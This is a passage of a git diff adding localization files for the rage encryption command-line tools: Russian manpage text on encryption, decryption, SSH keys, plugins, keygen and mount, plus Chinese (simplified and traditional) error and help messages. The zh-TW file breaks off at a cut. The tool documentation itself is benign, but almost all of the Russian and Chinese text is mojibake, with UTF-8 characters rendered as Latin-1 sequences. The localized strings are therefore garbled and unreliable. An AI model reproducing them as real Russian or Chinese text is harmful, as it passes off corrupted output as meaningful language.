предоÑтавленными получателÑми незавиÑимо. + +man-rage-flag-recipients-file = + Зашифровать Ð´Ð»Ñ {recipients}, перечиÑленных в файле по адреÑу {recipients-file}, по одному на Ñтроку. + ПуÑтые Ñтроки и Ñтроки, начинающиеÑÑ Ñ "#", игнорируютÑÑ ÐºÐ°Ðº комментарии. + + ЕÑли {recipients-file} ÑвлÑетÑÑ {-stdin}, получатели читаютÑÑ Ñо Ñтандартного ввода. + Ð’ Ñтом Ñлучае должен быть указан аргумент {input}. + + Этот параметр можно повторÑть и комбинировать Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей, + и файл может быть раÑшифрован вÑеми предоÑтавленными получателÑми незавиÑимо. + +man-rage-flag-passphrase = + Шифровать Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼, запрашиваемым в интерактивном режиме из терминала. + {-rage} предложит автоматичеÑки Ñгенерировать безопаÑный пароль. + + Этот параметр не может иÑпользоватьÑÑ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей. + +man-rage-flag-armor = + Зашифровать только в ASCII "бронированное" кодирование. + + {-age} armor - Ñто ÑÑ‚Ñ€Ð¾Ð³Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ PEM Ñ Ñ‚Ð¸Ð¿Ð¾Ð¼ "{-armor-pem-type}", + каноничеÑкий "Ñтрогий" Base64, без заголовков и без поддержки начальных и + конечных дополнительных данных. + + РаÑшифровка прозрачно обнаруживает и декодирует ASCII бронирование. + +man-rage-flag-identity-encrypt = + Шифровать Ð´Ð»Ñ {recipients}, ÑоответÑтвующих {identities}, перечиÑленным в + файле по адреÑу {identity}. Это Ñквивалентно преобразованию файла по адреÑу {identity} + в файл получателей Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ '{-rage-keygen} {-flag-convert}', а затем передачи его в + {-flag-recipients-file}. + + Ð”Ð»Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð° {identity} Ñмотрите определение {-flag-identity} в + разделе {man-rage-decryption-options}. + + При иÑпользовании {-flag-identity} в режиме ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ñвно + указать {-flag-encrypt}, чтобы избежать путаницы. + +man-rage-flag-plugin-encrypt = + Шифровать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ð»Ð°Ð³Ð¸Ð½ без данных {plugin-name}. + + Это Ñквивалентно иÑпользованию {-flag-identity} Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼, который Ñодержит + один плагин {identity}, не кодирующий ÑпецифичеÑкие Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° данные. + + При иÑпользовании {-flag-plugin-name} в режиме ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ñвно + указать {-flag-encrypt}, чтобы избежать путаницы. + +man-rage-decryption-options = Опции раÑшифровки + +man-rage-flag-decrypt = + РаÑшифровать {input} в {output}. + + ЕÑли {input} зашифрован паролем, Ñто будет автоматичеÑки обнаружено, + и пароль будет запрошен в интерактивном режиме. Ð’ противном Ñлучае + иÑпользуютÑÑ {identities}, указанные Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}. + + ASCII-армирование раÑпознаетÑÑ Ð¸ декодируетÑÑ Ð¿Ñ€Ð¾Ð·Ñ€Ð°Ñ‡Ð½Ð¾. + +man-rage-flag-identity-decrypt = + РаÑшифровать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ {identities} в {identity}. + + {identity} может быть одним из Ñледующих: + + a. Файл, перечиÑлÑющий {identities}, по одному на Ñтроку. ПуÑтые Ñтроки и + Ñтроки, начинающиеÑÑ Ñ "#", игнорируютÑÑ ÐºÐ°Ðº комментарии. + + b. Файл age, зашифрованный паролем, Ñодержащий {identities}, по одному на + Ñтроку, как указано выше. Пароль запрашиваетÑÑ Ð² интерактивном режиме. + Обратите внимание, что файлы идентификации, защищенные паролем, не нужны в + большинÑтве Ñлучаев иÑпользованиÑ, где доÑтуп к зашифрованному файлу + идентификации подразумевает доÑтуп ко вÑей ÑиÑтеме. + + c. Файл чаÑтного ключа SSH в формате PKCS#1, PKCS#8 или OpenSSH. ЕÑли + чаÑтный ключ защищен паролем, пароль запрашиваетÑÑ Ð² интерактивном режиме + только в Ñлучае, еÑли Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ SSH ÑоответÑтвует файлу. Смотрите + раздел {man-rage-ssh-keys-heading} Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации, + Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ñ‹Ðµ типы ключей. + + d. {-stdin}, что приводит к чтению одного из вышеуказанных вариантов Ñо Ñтандартного ввода. + Ð’ Ñтом Ñлучае должен быть указан аргумент {input}. + + Этот параметр можно повторÑть. Идентификаторы пробуютÑÑ Ð² том порÑдке, в + котором они предоÑтавлены, и иÑпользуетÑÑ Ð¿ÐµÑ€Ð²Ñ‹Ð¹, ÑоответÑтвующий одному из + получателей файла. ÐеиÑпользуемые идентификаторы игнорируютÑÑ, но Ñто + ошибка, еÑли файл {input} зашифрован паролем и указан {-flag-identity}. + +man-rage-flag-plugin-decrypt = + РаÑшифровать Ñ Ð¸Ñпользованием плагина без данных {plugin-name}. + + Это Ñквивалентно иÑпользованию {-flag-identity} Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼, который Ñодержит + один плагин {identity}, не кодирующий данные, Ñпецифичные Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°. + +man-rage-recipients-and-identities-heading = ПОЛУЧÐТЕЛИ И ИДЕÐТИФИКÐТОРЫ +man-rage-recipients-and-identities = + {recipients} - Ñто публичные значениÑ, например, публичный ключ, Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð°. + {identities} - Ñто чаÑтные значениÑ, например, чаÑтный ключ, позволÑющие раÑшифровать файл, + зашифрованный Ð´Ð»Ñ ÑоответÑтвующего {recipient}. + +man-rage-native-x25519-keys-heading = Родные ключи X25519 +man-rage-native-x25519-keys = + Родные пары ключей {-age} генерируютÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-rage-keygen}(1) и + обеÑпечивают небольшие кодировки и Ñильное шифрование на оÑнове X25519. Они + ÑвлÑÑŽÑ‚ÑÑ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ð¼ типом Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ð½Ñтва приложений. + + Кодировка {recipient} начинаетÑÑ Ñ "{-recipient-prefix}" и выглÑдит + Ñледующим образом: + + {" "}{$example_age_recipient} + + Кодировка {identity} начинаетÑÑ Ñ "{-identity-prefix}" и выглÑдит + Ñледующим образом: + + {" "}{$example_age_identity} + + Зашифрованный файл не может быть ÑвÑзан Ñ Ñ€Ð¾Ð´Ð½Ñ‹Ð¼ получателем, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ + он зашифрован, без доÑтупа к ÑоответÑтвующему идентификатору. + +man-rage-ssh-keys-heading = Ключи SSH +man-rage-ssh-keys = + Ð’ качеÑтве удобной функции {-rage} также поддерживает шифрование Ð´Ð»Ñ ÐºÐ»ÑŽÑ‡ÐµÐ¹ + RSA или Ed25519 {-ssh}. Ключи RSA должны быть не менее 2048 бит. Эта + Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¸Ñпользует более Ñложную криптографию и должна иÑпользоватьÑÑ + только тогда, когда Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ð½ÐµÐ´Ð¾Ñтупен родной ключ. Обратите внимание, + что ключи SSH могут не быть защищены в долгоÑрочной перÑпективе получателем, + так как они могут быть отозваны при иÑпользовании только Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸. + + Кодировка {recipient} - Ñто публичный ключ SSH в формате "{-ssh-authorized-keys}" + (Ñм. раздел "{-authorized-keys-file-format}" {-sshd}), начинающийÑÑ Ñ + "{-ssh-rsa}" или "{-ssh-ed25519}", как Ñледующее: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + Комментарий в конце Ñтроки, еÑли он приÑутÑтвует, игнорируетÑÑ. + + Ð’ файлах получателей, переданных в {-flag-recipients-file}, + неподдерживаемые, но дейÑтвительные публичные ключи SSH игнорируютÑÑ Ñ + предупреждением, чтобы облегчить иÑпользование файлов " + {-ssh-authorized-keys}" или GitHub "{-dot-keys}". (См. {man-examples-heading}.) + + {identity} - Ñто _файл_ чаÑтного ключа SSH, передаваемый индивидуально в + {-flag-identity}. Обратите внимание, что ключи, хранÑщиеÑÑ Ð½Ð° аппаратных + токенах, таких как YubiKeys, или доÑтупные через {-ssh-agent}, не поддерживаютÑÑ. + + Зашифрованный файл _может_ быть ÑвÑзан Ñ Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼ ключом SSH, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ он был зашифрован. + Это Ñделано Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, чтобы {-rage} мог идентифицировать правильный чаÑтный ключ SSH + до запроÑа его паролÑ, еÑли таковой имеетÑÑ. + +man-rage-plugins-heading = Плагины +man-rage-plugins = + {-rage} может быть раÑширен Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагинов. Плагин загружаетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ в Ñлучае, + еÑли указан ÑоответÑтвующий {recipient} или {identity}. (ПроÑÑ‚Ð°Ñ Ñ€Ð°Ñшифровка файла, + зашифрованного Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ плагина, не приведет к его загрузке по ÑоображениÑм безопаÑноÑти, Ñреди прочего.) + + {recipient} Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° Ñ Ð¸Ð¼ÐµÐ½ÐµÐ¼ "{-example}" начинаетÑÑ Ñ "{-example-r}", + в то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº {identity} начинаетÑÑ Ñ "{-example-i}". Оба они кодируют + произвольные данные, Ñпецифичные Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°, и генерируютÑÑ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼. + + Когда указан один из них, {-rage} ищет {-age-plugin-}{-example} в PATH + и выполнÑет его Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ раÑшифровки заголовка файла. + Плагин может запроÑить ввод данных от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñ‡ÐµÑ€ÐµÐ· {-rage} Ð´Ð»Ñ + Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ð¸. + + Плагины могут Ñвободно комбинироватьÑÑ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ плагинами или ключами, поддерживаемыми нативно. + + Плагин не ограничиваетÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ шифрованием или раÑшифровкой файлов, предназначенных + Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ или Ñгенерированных им. Ðапример, плагин может иÑпользоватьÑÑ Ð´Ð»Ñ + раÑшифровки файлов, зашифрованных Ð´Ð»Ñ Ñ€Ð¾Ð´Ð½Ð¾Ð³Ð¾ {recipient} X25519 или даже Ñ + паролем. Ðналогично, плагин может зашифровать файл таким образом, чтобы его + можно было раÑшифровать без иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð»ÑŽÐ±Ð¾Ð³Ð¾ плагина. + + Ð”Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð², Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… различие {identity}/{recipient} не имеет ÑмыÑла + (например, Ð´Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð° Ñимметричного шифрованиÑ), могут генерироватьÑÑ + только {identity}, и пользователю может быть дана инÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ñть + шифрование Ñ Ñ„Ð»Ð°Ð³Ð°Ð¼Ð¸ {-flag-encrypt} и {-flag-identity}. Ð”Ð»Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð², Ð´Ð»Ñ + которых ÐºÐ¾Ð½Ñ†ÐµÐ¿Ñ†Ð¸Ñ Ð¾Ñ‚Ð´ÐµÐ»ÑŒÐ½Ñ‹Ñ… идентификаторов не имеет ÑмыÑла (например, + плагин ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼), пользователю может быть дана инÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ + иÑпользовать флаг {-flag-plugin-name}. + +man-examples-heading = ПРИМЕРЫ + +man-rage-example-single = Сгенерировать новый идентификатор, зашифровать данные и раÑшифровать +man-rage-example-enc-multiple = Зашифровать {$input} Ð´Ð»Ñ Ð½ÐµÑкольких получателей и вывеÑти в {$output} +man-rage-example-enc-list = Зашифровать Ð´Ð»Ñ ÑпиÑка получателей +man-rage-example-password = Зашифровать и раÑшифровать файл Ñ Ð¸Ñпользованием Ð¿Ð°Ñ€Ð¾Ð»Ñ +man-rage-example-identity-passphrase = Зашифровать и раÑшифровать Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð¼ идентификации, защищенным паролем +man-rage-example-ssh = Зашифровать и раÑшифровать Ñ Ð¿ÑƒÐ±Ð»Ð¸Ñ‡Ð½Ñ‹Ð¼ ключом SSH +man-rage-example-yubikey = Зашифровать и раÑшифровать Ñ {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = ЗапуÑтить интерактивную наÑтройку, Ñгенерировать файл идентификации и получить получателÑ. +man-rage-example-enc-github = Зашифровать Ð´Ð»Ñ SSH-ключей Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ GitHub + +man-see-also-heading = СМОТРИТЕ ТÐКЖЕ + +## rage-keygen manpage + +man-keygen-about = Генерировать пары ключей шифрованиÑ, ÑовмеÑтимые Ñ age + +man-keygen-description = + {-rage-keygen} генерирует новую родную пару ключей {-age} и выводит + идентификатор в Ñтандартный вывод или в файл {output}. + Вывод включает публичный ключ и текущее Ð²Ñ€ÐµÐ¼Ñ Ð² качеÑтве комментариев. + + ЕÑли вывод не идет в терминал, {-rage-keygen} печатает публичный ключ в + Ñтандартный поток ошибок. + +man-keygen-flag-output = + ЗапиÑать идентификатор в {output} вмеÑто Ñтандартного вывода. + + ЕÑли {output} уже ÑущеÑтвует, он не будет перезапиÑан. + +man-keygen-flag-convert = + RПрочитать файл идентификации из {input} или Ñо Ñтандартного ввода и вывеÑти + ÑоответÑтвующего/их получателÑ/ей, по одному на Ñтроку, без комментариев. + +man-keygen-example-stdout = Сгенерировать новый идентификатор +man-keygen-example-file = ЗапиÑать новый идентификатор в "{$filename}" +man-keygen-example-convert = Преобразовать идентификатор в Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ + +## rage-mount manpage + +man-mount-about = Монтировать зашифрованную файловую ÑиÑтему {-age} + +man-mount-description = + {-rage-mount} раÑшифровывает зашифрованную файловую ÑиÑтему {-age} в + {mnt-filename} на лету и монтирует ее как директорию в локальной файловой + ÑиÑтеме в {mnt-mountpoint}. + + Файлы, зашифрованные паролем, обнаруживаютÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки, и пароль + запрашиваетÑÑ Ð² интерактивном режиме. Ð’ противном Ñлучае иÑпользуетÑÑ Ð¾Ð´Ð¸Ð½ + или неÑколько {identities}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}, Ð´Ð»Ñ + раÑшифровки файла. + + Предыдущее Ñодержимое (еÑли оно еÑть) и владелец и режим {mnt-mountpoint} + ÑтановÑÑ‚ÑÑ Ð½ÐµÐ²Ð¸Ð´Ð¸Ð¼Ñ‹Ð¼Ð¸, и пока Ñта Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема оÑтаетÑÑ Ñмонтированной, + путь {mnt-mountpoint} отноÑитÑÑ Ðº корню файловой ÑиÑтемы на {mnt-filename}. + +man-mount-flag-types = + УÑтановить тип файловой ÑиÑтемы. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÑŽÑ‚ÑÑ Ñледующие типы: {$types}. + + Этот параметр обÑзателен. {-rage-mount} не пытаетÑÑ ÑƒÐ³Ð°Ð´Ð°Ñ‚ÑŒ формат файловой ÑиÑтемы. + + Ð’ теории может поддерживатьÑÑ Ð»ÑŽÐ±Ð¾Ð¹ Ñффективно доÑтупный формат файловой ÑиÑтемы. + Ðа данный момент {-rage-mount} поддерживает только доÑтупные Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка форматы архивов. + +man-mount-example-identity = Монтирование архива, зашифрованного Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ +man-mount-example-passphrase = Монтирование архива, зашифрованного паролем diff --git a/lib/rage/rage/i18n/zh-CN/rage.ftl b/lib/rage/rage/i18n/zh-CN/rage.ftl new file mode 100644 index 0000000..abd62ad --- /dev/null +++ b/lib/rage/rage/i18n/zh-CN/rage.ftl @@ -0,0 +1,163 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} 默认为标准输入 (stdin), 而 {output} 默认为标准输出 (stdout) 。 + + {recipient} å¯ä¸ºï¼š + - 一把以 {$keygen_name} 生æˆçš„ {-age} 公钥 ({$example_age_pubkey})。 + - 一把 SSH 公钥 ({$example_ssh_pubkey})。 + + {recipients-file} æ˜¯ä¸€ä¸ªæ–‡ä»¶è·¯å¾„ã€‚è¯¥æ–‡ä»¶åº”å«æœ‰ {-age} 接收方, æ¯è¡Œä¸€ä¸ª + (å‰ç¼€ä¸º "#" 的注释以åŠç©ºè¡Œå°†è¢«å¿½ç•¥ï¼‰ã€‚ + + {identity} æ˜¯ä¸€ä¸ªæ–‡ä»¶è·¯å¾„ã€‚è¯¥æ–‡ä»¶æˆ–å« {-age} 身份, æ¯è¡Œä¸€ä¸ªï¼ˆå‰ç¼€ä¸º "#" 的注释以åŠç©ºè¡Œå°†è¢«å¿½ç•¥ï¼‰ï¼Œ + 亦或为 SSH 密钥文件。 + Passphrase-encrypted {-age} identity files can be used as identity files. + æ‚¨å¯æä¾›å¤šä»½èº«ä»½, 未使用的身份将被忽略。 + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = 公钥 +identity-file-created = 已创建 +identity-file-pubkey = 公钥 + +## Encryption messages + +autogenerated-passphrase = ç›®å‰ä½¿ç”¨è‡ªåŠ¨ç”Ÿæˆçš„密ç çŸ­è¯­ï¼š +type-passphrase = 输入密ç çŸ­è¯­ +prompt-passphrase = 密ç çŸ­è¯­ + +## General errors + +err-failed-to-open-output = 未能打开出输: {$err} +err-failed-to-write-output = 未能写入出输: {$err} +err-enc-mixed-encrypt-decrypt = {-flag-encrypt} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +err-passphrase-timed-out = 等待输入密ç çŸ­è¯­æ—¶è¶…时了。 + +err-ux-A = {-rage} 的行为与您的预期ä¸ç¬¦å—? 或是æŸä¸ªé”™è¯¯æ¶ˆæ¯å¯åŒ…嫿›´å¤šä¿¡æ¯? +err-ux-B = 请与我们分享 +# Put spaces here to align the two lines in error output. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = 未能写入 stdout: {$err} +rec-enc-broken-stdout = 您是å¦è¾“出至éžä»Ž stdin è¯»å–æ•°æ®çš„程åºï¼Ÿ + +err-enc-broken-file = 未能写入文件: {$err} + +rec-enc-missing-recipients = 您是å¦å¿˜è®°æŒ‡å®š {-flag-recipient} 标记? + +err-enc-mixed-identity-passphrase = {-flag-identity} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-mixed-recipient-passphrase = {-flag-recipient} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} å’Œ {-flag-passphrase} 标记ä¸å¯è”用。 +err-enc-passphrase-without-file = 在使用 {-flag-passphrase} 时, å¿…å°†è¦åŠ å¯†çš„æ–‡ä»¶ä¼ é€’ä¸ºå‚æ•°ã€‚ + +## Decryption errors + +rec-dec-excessive-work = 请é‡è¯•采用 {-flag-max-work-factor} {$wf} 以解密 + +err-dec-armor-flag = {-flag-armor} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +rec-dec-armor-flag = 请注æ„,装甲文件 (armored files) 会被自动检测。 + +err-dec-missing-identities = 缺少身份。 +rec-dec-missing-identities = 您是å¦å¿˜è®°æŒ‡å®š {-flag-identity} 标记? + +err-dec-passphrase-flag = {-flag-passphrase} å’Œ {-flag-decrypt} 标记ä¸å¯è”用。 +rec-dec-passphrase-flag = 请注æ„,以密ç çŸ­è¯­åŠ å¯†çš„æ–‡ä»¶ä¼šè¢«è‡ªåŠ¨æ£€æµ‹ã€‚ + +err-dec-passphrase-without-file-win = + 该文件需è¦å¯†ç çŸ­è¯­ï¼› 在 Windows 中, 使用密ç çŸ­è¯­è§£å¯†æ—¶ + 必将解密的文件传递为ä½ç½®å‚数。 + +err-dec-recipient-flag = {-flag-recipient} å’Œ {-flag-decrypt} ä¸å¯è”用。 +err-dec-recipients-file-flag = {-flag-recipients-file} å’Œ {-flag-decrypt} ä¸å¯è”用。 +rec-dec-recipient-flag = æ‚¨æ˜¯ä¸æ˜¯è¦ç”¨ {-flag-identity} æ ‡è®°æ¥æŒ‡å®šç§é’¥ï¼Ÿ + +## rage-mount strings + +-flag-mnt-types = -t/--types + +info-decrypting = 正在解密 {$filename} +info-mounting-as-fuse = 正挂载为 FUSE 文件系统 + +err-mnt-missing-filename = 缺少文件å。 +err-mnt-missing-mountpoint = 缺少挂载点。 +err-mnt-missing-types = 缺少 {-flag-mnt-types} 。 +err-mnt-unknown-type = 未知的文件系统类型 "{$fs_type}" + +## Unstable features + +test-unstable = 构建 {-rage} 时采用 {-flag-unstable} 以测试。 diff --git a/lib/rage/rage/i18n/zh-TW/rage.ftl b/lib/rage/rage/i18n/zh-TW/rage.ftl new file mode 100644 index 0000000..df21098 --- /dev/null +++ b/lib/rage/rage/i18n/zh-TW/rage.ftl @@ -0,0 +1,163 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} 默èªç‚ºæ¨™æº–輸入 (stdin), 而 {output} 默èªç‚ºæ¨™æº–輸出 (stdout) 。 + + {recipient} å¯ç‚ºï¼š + - 一把以 {$keygen_name} 生æˆçš„ {-age} 公鑰 ({$example_age_pubkey})。 + - 一把 SSH 公鑰 ({$example_ssh_pubkey})。 + + {recipients-file} æ˜¯ä¸€å€‹æ–‡ä»¶è·¯å¾‘ã€‚è©²æ–‡ä»¶æ‡‰å«æœ‰ {-age} 接收方, æ¯è¡Œä¸€å€‹ + (å‰ç¶´ç‚º "#" 的注釋以åŠç©ºè¡Œå°‡è¢«å¿½ç•¥ï¼‰ã€‚ + + {identity} æ˜¯ä¸€å€‹æ–‡ä»¶è·¯å¾‘ã€‚è©²æ–‡ä»¶æˆ–å« {-age} 身份, æ¯è¡Œä¸€å€‹ï¼ˆå‰ç¶´ç‚º "#" 的注釋以åŠç©ºè¡Œå°‡è¢«å¿½ç•¥ï¼‰ï¼Œ + 亦或為 SSH 密鑰文件。 + Passphrase-encrypted {-age} identity files can be used as identity files. + æ‚¨å¯æä¾›å¤šä»½èº«ä»½, 未使用的身份將被忽略。 + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +## Keygen messages + +tty-pubkey = 公鑰 +identity-file-created = 已創建 +identity-file-pubkey = 公鑰 + +## Encryption messages + +autogenerated-passphrase = ç›®å‰ä½¿ç”¨è‡ªå‹•生æˆçš„密碼短語: +type-passphrase = 輸入密碼短語 +prompt-passphrase = 密碼短語 + +## General errors + +err-failed-to-open-output = 未能打開出輸: {$err} +err-failed-to-write-output = 未能寫入出輸: {$err} +err-enc-mixed-encrypt-decrypt = {-flag-encrypt} å’Œ {-flag-decrypt} 標記ä¸å¯è¯ç”¨ã€‚ +err-passphrase-timed-out = 等待輸入密碼短語時超時了。 + +err-ux-A = {-rage} çš„è¡Œç‚ºèˆ‡æ‚¨çš„é æœŸä¸ç¬¦å—Ž? 或是æŸå€‹éŒ¯èª¤æ¶ˆæ¯å¯åŒ…嫿›´å¤šä¿¡æ¯? +err-ux-B = 請與我們分享 +# Put spaces here to align the two lines in error output. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = 未能寫入 stdout: {$err} +rec-enc-broken-stdout = 您是å¦è¼¸å‡ºè‡³éžå¾ž stdin è®€å–æ•¸æ“šçš„程åºï¼Ÿ + +err-enc-broken-file = 未能寫入文件: {$err} + +rec-enc-missing-recipients = 